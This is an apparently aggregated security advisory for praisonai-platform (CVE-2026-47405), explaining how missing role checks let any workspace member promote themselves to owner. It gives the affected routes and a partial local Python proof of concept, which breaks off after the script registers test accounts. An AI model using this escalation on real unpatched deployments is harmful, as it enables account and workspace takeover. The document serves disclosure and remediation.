praisonai-platform
Affected
- introduced
0, fixed0.1.4(ecosystem)
Fixed versions
0.1.4
Fix
- Fixed version
0.1.4pip install --upgrade praisonai-platform==0.1.4
Advisory
Also known as: CVE-2026-47405, GHSA-h37g-4h4p-9x97
PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership
Summary
PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to owner.
The issue is caused by privileged workspace-management routes using the shared dependency require_workspace_member(...) without requiring admin or owner. The dependency defaults to min_role="member", so routes that should be administrative are accessible to ordinary workspace members.
As a result, a normal workspace member can:
member to owner;owner or admin;This is a broken access control / vertical privilege escalation vulnerability.
Details
The vulnerable authorization dependency is defined in:
praisonai_platform/api/deps.py
The dependency defaults to the lowest workspace role:
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member",
) -> AuthIdentity:
...
has = await member_svc.has_role(workspace_id, user.id, min_role)
Because min_role defaults to "member", any route using:
Depends(require_workspace_member)
without explicitly passing a stronger role only requires ordinary workspace membership.
Privileged workspace-management routes in:
praisonai_platform/api/routes/workspaces.py
use this dependency unchanged on administrative actions, including:
PATCH /workspaces/{workspace_id}
DELETE /workspaces/{workspace_id}
POST /workspaces/{workspace_id}/members
PATCH /workspaces/{workspace_id}/members/{user_id}
DELETE /workspaces/{workspace_id}/members/{user_id}
These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require admin or owner, but they currently require only member.
The membership service does not provide a second authorization layer. In:
praisonai_platform/services/member_service.py
the mutation methods perform the requested change after the route-level check passes:
async def add(...):
member = Member(workspace_id=workspace_id, user_id=user_id, role=role)
async def update_role(...):
member = await self.get(workspace_id, user_id)
member.role = new_role
async def remove(...):
member = await self.get(workspace_id, user_id)
await self._session.delete(member)
Therefore, the weak route dependency is the effective authorization boundary.
A low-privilege user can also learn their own user.id from the normal authentication response. The login/register response includes the authenticated user object:
TokenResponse.token
TokenResponse.user.id
This allows an invited low-privilege member to target their own membership record and self-promote.
Affected component
Package: praisonai-platform
Verified version: 0.1.2
Verified source commit: d8a8a78
Affected components:
- praisonai_platform/api/deps.py
- praisonai_platform/api/routes/workspaces.py
- praisonai_platform/services/member_service.py
- praisonai_platform/api/routes/auth.py
- praisonai_platform/api/schemas.py
PoC
The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.
The PoC:
praisonai_platform.api.app.create_app()./api/v1/auth/register route.member.owner.owner.Full PoC code
#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI Platform workspace RBAC bypass."""
from __future__ import annotations
import asyncio
import os
import sys
import types
import uuid
from pathlib import Path
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
def verify_source() -> None:
expected = {
PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
'min_role: str = "member"',
"member_svc.has_role(workspace_id, user.id, min_role)",
],
PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [
'@router.patch("/{workspace_id}", response_model=WorkspaceResponse)',
'@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)',
'@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',
'@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)',
],
PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [
"member.role = new_role",
"await self._session.delete(member)",
],
}
for path, needles in expected.items():
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
async def main() -> int:
if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():
raise SystemExit("missing local PraisonAI source tree")
verify_source()
sys.path.insert(0, str(PLATFORM_ROOT))
sys.path.insert(0, str(AGENTS_ROOT))
# Minimal passlib stub for local replay environments where passlib is not installed.
# This keeps the PoC focused on the authorization bug rather than dependency setup.
if "passlib" not in sys.modules:
passlib_pkg = types.ModuleType("passlib")
passlib_pkg.__path__ = []
sys.modules["passlib"] = passlib_pkg
if "passlib.context" not in sys.modules:
passlib_context = types.ModuleType("passlib.context")
class _CryptContext:
def __init__(self, *args, **kwargs):
pass
def hash(self, password: str) -> str:
return f"stub::{password}"
def verify(self, password: str, hashed: str) -> bool:
return hashed == f"stub::{password}"
passlib_context.CryptContext = _CryptContext
sys.modules["passlib.context"] = passlib_context
# Keep JWT generation deterministic for the local replay.
os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"
from praisonai_platform.api.app import create_app
from praisonai_platform.db.base import Base, reset_engine
from praisonai_platform.db import base as base_mod
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
suffix = uuid.uuid4().hex[:8]
password = "Password123!"
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
# 1. Register an owner account.
owner = await client.post(
"/api/v1/auth/register",
json={
"email": f"owner_{suffix}@example.com",
"password": password,
"name": f"owner_{suffix}",
},
)
# 2. Register a low-privilege member account.
member = await client.post(
"/api/v1/auth/register",
json={
"email": f"member_{suffix}@example.com",
"password": password,
"name": f"member_{suffix}",
},
)
# 3. Register a third attacker-controlled account.
extra = await client.post(
"/api/v1/auth/register",
json={
"email": f"extra_{suffix}@example.com",
"password": password,
"name": f"extra_{suffix}",
},
)
owner_json = owner.json()High Basis: CVSS v3 score 8.8, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0, fixed 0.1.4 (ecosystem)0.1.4
0.1.4pip install --upgrade praisonai-platform==0.1.4Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0